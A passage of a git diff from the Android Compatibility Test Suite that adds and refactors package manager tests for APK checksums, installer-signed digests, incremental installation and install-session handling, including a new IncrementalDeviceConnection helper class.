+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        installApkWithChecksumsIncrementally(inPath);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsIncremental() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageInfo packageInfo = getPackageManager().getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        final byte[] signature = readSignature();
+        final Certificate certificate = readCertificate();
+
+        installApkWithChecksumsIncrementally(inPath, TEST_FIXED_APK, TEST_FIXED_APK_DIGESTS,
+                signature);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), certificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), certificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsIncrementalTrustNone() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        installPackageIncrementally(TEST_FIXED_APK);
+
+        PackageInfo packageInfo = getPackageManager().getPackageInfo(FIXED_PACKAGE_NAME, 0);
+        final String inPath = packageInfo.applicationInfo.getBaseCodePath();
+
+        installApkWithChecksumsIncrementally(inPath);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsDuplicate() throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, "file", TEST_FIXED_APK);
+            session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS), NO_SIGNATURE);
+            try {
+                session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS), NO_SIGNATURE);
+                Assert.fail("setChecksums should throw exception.");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private List<Certificate> convertSignaturesToCertificates(Signature[] signatures) {
+        try {
+            final CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            ArrayList<Certificate> certs = new ArrayList<>(signatures.length);
+            for (Signature signature : signatures) {
+                final InputStream is = new ByteArrayInputStream(signature.toByteArray());
+                final X509Certificate cert = (X509Certificate) cf.generateCertificate(is);
+                certs.add(cert);
+            }
+            return certs;
+        } catch (CertificateException e) {
+            throw ExceptionUtils.propagate(e);
+        }
+    }
+
+    private void installApkWithChecksums(Checksum[] checksums) throws Exception {
+        installApkWithChecksums("file", "file", checksums);
+    }
+
+    private void installApkWithChecksums(String apkName, String checksumsName, Checksum[] checksums)
+            throws Exception {
+        CommitIntentReceiver.checkSuccess(
+                installApkWithChecksums(TEST_FIXED_APK, apkName, checksumsName, checksums));
+    }
+
+    private Intent installApkWithChecksums(String apk, String apkName,
+            String checksumsName, Checksum[] checksums) throws Exception {
+        return installApkWithChecksums(apk, apkName, checksumsName, checksums, NO_SIGNATURE);
+    }
+
+    private Intent installApkWithChecksums(String apk, String apkName,
+            String checksumsName, Checksum[] checksums, byte[] signature) throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, apkName, apk);
+            session.setChecksums(checksumsName, Arrays.asList(checksums), signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            return receiver.getResult();
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private void installApkWithChecksumsIncrementally(final String inPath) throws Exception {
+        installApkWithChecksumsIncrementally(inPath, TEST_FIXED_APK, TEST_FIXED_APK_DIGESTS,
+                NO_SIGNATURE);
+    }
+
+    private void installApkWithChecksumsIncrementally(final String inPath, final String apk,
+            final Checksum[] checksums, final byte[] signature) throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+            params.setDataLoaderParams(DataLoaderParams.forIncremental(new ComponentName("android",
+                    PackageManagerShellCommandDataLoader.class.getName()), ""));
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            final File file = new File(inPath);
+            final String name = file.getName();
+            final long size = file.length();
+            final Metadata metadata = Metadata.forLocalFile(inPath);
+
+            session.addFile(LOCATION_DATA_APP, name, size, metadata.toByteArray(), null);
+            session.setChecksums(name, Arrays.asList(checksums), signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private static String readFullStream(InputStream inputStream) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        writeFullStream(inputStream, result, -1);
+        return result.toString("UTF-8");
+    }
+
+    private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
+            long expected)
+            throws IOException {
+        byte[] buffer = new byte[1024];
+        long total = 0;
+        int length;
+        while ((length = inputStream.read(buffer)) != -1) {
+            outputStream.write(buffer, 0, length);
+            total += length;
+        }
+        if (expected > 0) {
+            Assert.assertEquals(expected, total);
+        }
+    }
+
+    private static String executeShellCommand(String command) throws IOException {
+        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static String createApkPath(String baseName) {
+        return TEST_APK_PATH + baseName;
+    }
+
+    private void installPackage(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        Assert.assertEquals("Success\n", executeShellCommand(
+                "pm install -t -g " + file.getPath()));
+    }
+
+    private void installPackageIncrementally(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        Assert.assertEquals("Success\n", executeShellCommand(
+                "pm install-incremental -t -g " + file.getPath()));
+    }
+
+    private void installSplits(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        Assert.assertEquals("Success\n",
+                executeShellCommand("pm install -t -g " + String.join(" ", splits)));
+    }
+
+    private void installSplitsIncrementally(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        Assert.assertEquals("Success\n",
+                executeShellCommand("pm install-incremental -t -g " + String.join(" ", splits)));
+    }
+
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
+    private String uninstallPackageSilently(String packageName) throws IOException {
+        return executeShellCommand("pm uninstall " + packageName);
+    }
+
+    private boolean isAppInstalled(String packageName) throws IOException {
+        final String commandResult = executeShellCommand("pm list packages");
+        final int prefixLength = "package:".length();
+        return Arrays.stream(commandResult.split("\\r?\\n"))
+                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+    }
+
+    @Nonnull
+    private static String bytesToHexString(byte[] bytes) {
+        return HexDump.toHexString(bytes, 0, bytes.length, /*upperCase=*/ false);
+    }
+
+    @Nonnull
+    private static byte[] hexStringToBytes(String hexString) {
+        return HexDump.hexStringToByteArray(hexString);
+    }
+
+    private boolean checkIncrementalDeliveryFeature() {
+        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_INCREMENTAL_DELIVERY);
+    }
+
+    private byte[] readSignature() throws IOException {
+        return readSignature(TEST_FIXED_APK_DIGESTS_SIGNATURE);
+    }
+
+    private byte[] readSignature(String file) throws IOException {
+        return Files.readAllBytes(Paths.get(createApkPath(file)));
+    }
+
+    private Certificate readCertificate() throws Exception {
+        try (InputStream is = new FileInputStream(createApkPath(TEST_CERTIFICATE))) {
+            CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            return certFactory.generateCertificate(is);
+        }
+    }
+
+    private Certificate getInstallerCertificate() throws Exception {
+        PackageManager pm = getPackageManager();
+        PackageInfo installerPackageInfo = pm.getPackageInfo(CTS_PACKAGE_NAME,
+                GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                installerPackageInfo.signingInfo.getApkContentsSigners());
+        return signatures.get(0);
+    }
+
+    private void checkStoredChecksums(Checksum[] checksums, String fileName) throws Exception {
+        ArrayList<Checksum> storedChecksumsList = new ArrayList<>();
+        try (InputStream is = new FileInputStream(createApkPath(fileName));
+             DataInputStream dis = new DataInputStream(is)) {
+            for (int i = 0; i < 100; ++i) {
+                try {
+                    storedChecksumsList.add(Checksum.readFromStream(dis));
+                } catch (EOFException e) {
+                    break;
+                }
+            }
+        }
+        final Checksum[] storedChecksums = storedChecksumsList.toArray(
+                new Checksum[storedChecksumsList.size()]);
+
+        final String message = fileName + " needs to be updated: ";
+        Assert.assertEquals(message, storedChecksums.length, checksums.length);
+        for (int i = 0, size = storedChecksums.length; i < size; ++i) {
+            Assert.assertEquals(message, storedChecksums[i].getType(), checksums[i].getType());
+            Assert.assertArrayEquals(message, storedChecksums[i].getValue(),
+                    checksums[i].getValue());
+        }
+    }
+
+    private static class LocalListener implements PackageManager.OnChecksumsReadyListener {
+        private final LinkedBlockingQueue<ApkChecksum[]> mResult = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onChecksumsReady(@NonNull List<ApkChecksum> checksumsList) {
+            ApkChecksum[] checksums = checksumsList.toArray(new ApkChecksum[checksumsList.size()]);
+            Arrays.sort(checksums, (ApkChecksum lhs, ApkChecksum rhs) ->  {
+                final String lhsSplit = lhs.getSplitName();
+                final String rhsSplit = rhs.getSplitName();
+                if (Objects.equals(lhsSplit, rhsSplit)) {
+                    return Integer.signum(lhs.getType() - rhs.getType());
+                }
+                if (lhsSplit == null) {
+                    return -1;
+                }
+                if (rhsSplit == null) {
+                    return +1;
+                }
+                return lhsSplit.compareTo(rhsSplit);
+            });
+            mResult.offer(checksums);
+        }
+
+        public ApkChecksum[] getResult() {
+            try {
+                return mResult.poll(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static class CommitIntentReceiver {
+        private final LinkedBlockingQueue<Intent> mResult = new LinkedBlockingQueue<>();
+
+        private IIntentSender.Stub mLocalSender = new IIntentSender.Stub() {
+            @Override
+            public void send(int code, Intent intent, String resolvedType, IBinder allowlistToken,
+                    IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) {
+                try {
+                    mResult.offer(intent, 5, TimeUnit.SECONDS);
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        };
+
+        public IntentSender getIntentSender() {
+            return new IntentSender((IIntentSender) mLocalSender);
+        }
+
+        public Intent getResult() {
+            try {
+                return mResult.take();
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        public static void checkSuccess(Intent result) {
+            final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                    PackageInstaller.STATUS_FAILURE);
+            assertEquals(status, PackageInstaller.STATUS_SUCCESS,
+                    result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE) + " OR "
+                            + result.getExtras().get(Intent.EXTRA_INTENT));
+        }
+
+        public static void checkFailure(Intent result, int expectedStatus,
+                String expectedStatusMessage) {
+            final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                    PackageInstaller.STATUS_FAILURE);
+            assertEquals(status, expectedStatus);
+            assertEquals(result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE),
+                    expectedStatusMessage);
+        }
+
+        public static void checkFailure(Intent result, String expectedStatusMessage) {
+            checkFailure(result, PackageInstaller.STATUS_FAILURE, expectedStatusMessage);
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/IncrementalDeviceConnection.java b/tests/tests/content/src/android/content/pm/cts/IncrementalDeviceConnection.java
new file mode 100644
index 0000000..ea96139
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/IncrementalDeviceConnection.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.system.OsConstants.EAGAIN;
+import static android.system.OsConstants.EINTR;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.annotation.NonNull;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ServiceManager;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.system.StructPollfd;
+import android.util.Log;
+import android.util.Slog;
+
+import com.android.incfs.install.IDeviceConnection;
+import com.android.incfs.install.ILogger;
+
+import libcore.io.IoUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+
+public class IncrementalDeviceConnection implements IDeviceConnection {
+    private static final String TAG = "IncrementalDeviceConnection";
+    private static final boolean DEBUG = false;
+
+    private static final int POLL_TIMEOUT_MS = 300000;
+
+    private enum ConnectionType {
+        RELIABLE,
+        UNRELIABLE,
+    }
+
+    private ConnectionType mConnectionType;
+    private final Thread mShellCommand;
+    private final ParcelFileDescriptor mPfd;
+    private final FileDescriptor mFd;
+    private final StructPollfd[] mPollfds = new StructPollfd[]{
+            new StructPollfd()
+    };
+
+    private IncrementalDeviceConnection(ConnectionType connectionType, Thread shellCommand,
+            ParcelFileDescriptor pfd) {
+        mConnectionType = connectionType;
+        mShellCommand = shellCommand;
+        mPfd = pfd;
+        mFd = pfd.getFileDescriptor();
+
+        mPollfds[0].fd = mFd;
+        mPollfds[0].events = (short) OsConstants.POLLIN;
+        mPollfds[0].revents = 0;
+        mPollfds[0].userData = null;
+
+        mShellCommand.start();
+    }
+
+    @Override
+    public int read(ByteBuffer buffer, long timeoutMs) throws IOException {
+        final boolean blocking = buffer.position() == 0;
+        while (true) {
+            try {
+                int res = Os.poll(mPollfds, blocking ? POLL_TIMEOUT_MS : 0);
+                if (res < 0) {
+                    return res;
+                }
+                if (res == 0) {
+                    if (blocking) {
+                        throw new IOException("timeout");
+                    }
+                    return 0;
+                }
+                return Os.read(mFd, buffer);
+            } catch (ErrnoException e) {
+                if (e.errno == EINTR) {
+                    continue;
+                }
+                if (mConnectionType == ConnectionType.UNRELIABLE) {
+                    e.rethrowAsIOException();
+                }
+                if (e.errno == EAGAIN) {
+                    if (!blocking) {
+                        return 0;
+                    }
+                    continue;
+                }
+                e.rethrowAsIOException();
+            }
+        }
+    }
+
+    @Override
+    public int write(ByteBuffer buffer, long timeoutMs) throws IOException {
+        try {
+            return Os.write(mFd, buffer);
+        } catch (ErrnoException e) {
+            e.rethrowAsIOException();
+        }
+        return 0;
+    }
+
+    @Override
+    public void close() throws Exception {
+        mShellCommand.join();
+        IoUtils.closeQuietly(mPfd);
+    }
+
+    static class Logger implements ILogger {
+        @Override
+        public void error(Throwable t, String msgFormat, Object... args) {
+            Slog.e(TAG, String.format(msgFormat, args), t);
+        }
+
+        @Override
+        public void warning(String msgFormat, Object... args) {
+            Slog.w(TAG, String.format(msgFormat, args));
+        }
+
+        @Override
+        public void info(String msgFormat, Object... args) {
+            Slog.i(TAG, String.format(msgFormat, args));
+        }
+
+        @Override
+        public void verbose(String msgFormat, Object... args) {
+            if (!DEBUG) {
+                return;
+            }
+            Slog.v(TAG, String.format(msgFormat, args));
+        }
+    }
+
+    static class Factory implements IDeviceConnection.Factory {
+        private final ConnectionType mConnectionType;
+        private final boolean mExpectInstallationSuccess;
+
+        static Factory reliable() {
+            return new Factory(ConnectionType.RELIABLE, true);
+        }
+
+        static Factory ureliable() {
+            return new Factory(ConnectionType.UNRELIABLE, false);
+        }
+
+        static Factory reliableExpectInstallationFailure() {
+            return new Factory(ConnectionType.RELIABLE, false);
+        }
+
+        private Factory(ConnectionType connectionType, boolean expectInstallationSuccess) {
+            mConnectionType = connectionType;
+            mExpectInstallationSuccess = expectInstallationSuccess;
+        }
+
+        @Override
+        public IDeviceConnection connectToService(@NonNull String service,
+                @NonNull String[] parameters) throws IOException {
+            ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createSocketPair();
+            IoUtils.setBlocking(pipe[0].getFileDescriptor(), false);
+            IoUtils.setBlocking(pipe[1].getFileDescriptor(), false);
+
+            final ParcelFileDescriptor localPfd = pipe[0];
+            final ParcelFileDescriptor processPfd = pipe[1];
+
+            final ResultReceiver resultReceiver;
+            if (mExpectInstallationSuccess) {
+                resultReceiver = new ResultReceiver(null) {
+                    @Override
+                    protected void onReceiveResult(int resultCode, Bundle resultData) {
+                        if (resultCode == 0) {
+                            return;
+                        }
+                        final String message = readFullStreamOrError(
+                                new FileInputStream(localPfd.getFileDescriptor()));
+                        assertEquals(message, 0, resultCode);
+                    }
+                };
+            } else {
+                resultReceiver = new ResultReceiver(null) {
+                    @Override
+                    protected void onReceiveResult(int resultCode, Bundle resultData) {
+                        if (resultCode == 0) {
+                            return;
+                        }
+                        final String message = readFullStreamOrError(
+                                new FileInputStream(localPfd.getFileDescriptor()));
+                        Log.i(TAG, "Installation finished with code: " + resultCode + ", message: "
+                                + message);
+                    }
+                };
+            }
+
+            final Thread shellCommand = new Thread(() -> {
+                try {
+                    final FileDescriptor processFd = processPfd.getFileDescriptor();
+                    ServiceManager.getService(service).shellCommand(processFd, processFd, processFd,
+                            parameters, null, resultReceiver);
+                } catch (RemoteException e) {
+                    if (mConnectionType == ConnectionType.RELIABLE) {
+                        assertNull(e);
+                    }
+                } finally {
+                    IoUtils.closeQuietly(processPfd);
+                }
+            });
+            return new IncrementalDeviceConnection(mConnectionType, shellCommand, localPfd);
+        }
+    }
+
+    private static String readFullStreamOrError(InputStream inputStream) {
+        try (ByteArrayOutputStream result = new ByteArrayOutputStream()) {
+            try {
+                final byte[] buffer = new byte[1024];
+                int length;
+                while ((length = inputStream.read(buffer)) != -1) {
+                    result.write(buffer, 0, length);
+                }
+            } catch (IOException e) {
+                return result.toString("UTF-8") + " exception [" + e + "]";
+            }
+            return result.toString("UTF-8");
+        } catch (IOException e) {
+            return e.toString();
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index 46566a0..d7af7a8 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -39,6 +39,7 @@
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionInfo;
 import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
@@ -46,8 +47,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import org.junit.After;
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -63,6 +63,9 @@
     private static final String LOG_TAG = InstallSessionParamsUnitTest.class.getSimpleName();
     private static Optional UNSET = new Optional(false, null);
 
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     @Parameterized.Parameter(0)
     public Optional<Integer> mode;
     @Parameterized.Parameter(1)
@@ -93,8 +96,6 @@
             .getPackageManager()
             .getPackageInstaller();
 
-    private int mSessionId = -1;
-
     /**
      * Generate test-parameters where all params are the same, but one param cycles through all
      * values.
@@ -209,21 +210,6 @@
         return null;
     }
 
-    @Before
-    public void resetSessionId() {
-        mSessionId = 1;
-    }
-
-    @After
-    public void abandonSession() {
-        if (mSessionId != -1) {
-            try {
-                mInstaller.abandonSession(mSessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
-    }
-
     @Test
     public void checkSessionParams() throws Exception {
         Log.i(LOG_TAG, "mode=" + mode + " installLocation=" + installLocation + " size=" + size
@@ -244,8 +230,9 @@
         installReason.ifPresent(params::setInstallReason);
         installScenario.ifPresent(params::setInstallScenario);
 
+        int sessionId;
         try {
-            mSessionId = mInstaller.createSession(params);
+            sessionId = mInstaller.createSession(params);
 
             if (expectFailure) {
                 fail("Creating session did not fail");
@@ -258,7 +245,7 @@
             throw e;
         }
 
-        SessionInfo info = getSessionInfo(mSessionId);
+        SessionInfo info = getSessionInfo(sessionId);
 
         assertThat(info.getMode()).isEqualTo(mode.get());
         installLocation.ifPresent(i -> assertThat(info.getInstallLocation()).isEqualTo(i));
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index 51752bc..57c7907 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -18,8 +18,14 @@
 
 import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
 
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeNotNull;
 
@@ -32,20 +38,19 @@
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.internal.util.FunctionalUtils;
-
 import libcore.io.Streams;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -55,6 +60,10 @@
 @RunWith(AndroidJUnit4.class)
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class InstallSessionTransferTest {
+
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     /**
      * Get the sessionInfo if this package owns the session.
      *
@@ -83,7 +92,7 @@
      */
     private static String getPackageInstallerPackageName() throws Exception {
         Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
-        installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+        installerIntent.setDataAndType(Uri.parse("content://com.example/"),
                 "application/vnd.android.package-archive");
 
         ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
@@ -111,6 +120,21 @@
         }
     }
 
+    /**
+     * Create a new installer session.
+     *
+     * @return The new session
+     */
+    private Session createSession() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        return installer.openSession(sessionId);
+    }
+
     @Test
     public void transferSession() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -120,152 +144,170 @@
 
         PackageInstaller installer = context.getPackageManager().getPackageInstaller();
 
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        Session session = installer.openSession(sessionId);
 
-            InputStream danglingReadStream = session.openRead("CtsContentTestCases");
+        writeApk(session, "CtsContentTestCases");
 
-            SessionInfo info = getSessionInfo(installer, sessionId);
-            assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
-            assertThat(info.isSealed()).isFalse();
+        InputStream danglingReadStream = session.openRead("CtsContentTestCases");
 
-            // This transfers the session to the new owner
-            session.transfer(packageInstallerPackage);
-            assertThat(getSessionInfo(installer, sessionId)).isNull();
+        SessionInfo info = getSessionInfo(installer, sessionId);
+        assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
+        assertThat(info.isSealed()).isFalse();
 
-            try {
-                // Session is transferred, all operations on the session are invalid
-                session.getNames();
-                fail();
-            } catch (SecurityException e) {
-                // expected
-            }
+        // This transfers the session to the new owner
+        session.transfer(packageInstallerPackage);
+        assertThat(getSessionInfo(installer, sessionId)).isNull();
 
-            // Even when the session is transferred read streams still work and contain the same
-            // content that we initially wrote into it.
-            try (InputStream originalContent = new FileInputStream(
-                    "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
-                try (InputStream sessionContent = danglingReadStream) {
-                    byte[] buffer = new byte[4096];
-                    while (true) {
-                        int numReadOriginal = originalContent.read(buffer);
-                        int numReadSession = sessionContent.read(buffer);
+        try {
+            // Session is transferred, all operations on the session are invalid
+            session.getNames();
+            fail();
+        } catch (SecurityException e) {
+            // expected
+        }
 
-                        assertThat(numReadOriginal).isEqualTo(numReadSession);
-                        if (numReadOriginal == -1) {
-                            break;
-                        }
+        // Even when the session is transferred read streams still work and contain the same content
+        // that we initially wrote into it.
+        try (InputStream originalContent = new FileInputStream(
+                "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
+            try (InputStream sessionContent = danglingReadStream) {
+                byte[] buffer = new byte[4096];
+                while (true) {
+                    int numReadOriginal = originalContent.read(buffer);
+                    int numReadSession = sessionContent.read(buffer);
+
+                    assertThat(numReadOriginal).isEqualTo(numReadSession);
+                    if (numReadOriginal == -1) {
+                        break;
                     }
